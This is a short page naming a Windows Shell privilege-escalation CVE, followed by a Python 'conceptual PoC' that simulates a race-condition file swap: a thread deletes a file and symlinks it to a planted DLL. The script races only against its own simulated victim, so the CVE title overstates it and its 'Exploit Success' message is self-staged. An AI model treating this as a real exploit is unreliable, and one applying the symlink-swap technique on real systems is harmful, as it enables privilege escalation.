CVE-2026-27918 Windows Shell权限提升漏洞

import threading import os import time # Conceptual PoC for Race Condition in Windows Shell # This script simulates a TOCTOU (Time-of-check to time-of-use) attack class Exploit: def __init__(self): self.stop_flag = False self.target_file = "C:\\Windows\\Temp\\shared_config.dat" self.payload_file = "C:\\Users\\Public\\evil_payload.dll" def victim_process(self): """Simulates the legitimate Windows Shell operation.""" while not self.stop_flag: try: # 1. Check: Shell checks if resource exists and is secure if not os.path.exists(self.target_file): print("[Shell] Resource not found, creating...") # Simulate processing time creating the race window time.sleep(0.005) # 2. Use: Shell creates/writes to the resource with open(self.target_file, 'w') as f: f.write("Secure Configuration") print("[Shell] Resource created safely.") else: time.sleep(0.01) except Exception as e: print(f"[Shell] Error: {e}") def attacker_process(self): """Simulates the attacker exploiting the race condition.""" while not self.stop_flag: try: # Attempt to swap the file during the race window if os.path.exists(self.target_file): # Try to delete or replace before Shell locks it os.remove(self.target_file) # Create a symbolic link or drop a malicious file os.symlink(self.payload_file, self.target_file) print("[+] Exploit Success! Resource swapped with payload.") self.stop_flag = True except OSError: # Expected if file is locked or not found yet, retry pass except Exception as e: print(f"[-] Attack failed: {e}") def run(self): print("[*] Starting Race Condition Exploit...") t1 = threading.Thread(target=self.victim_process) t2 = threading.Thread(target=self.attacker_process) t1.start() t2.start() t2.join(timeout=10) # Wait for attacker to succeed self.stop_flag = True if self.stop_flag: print("[*] Exploit thread finished.")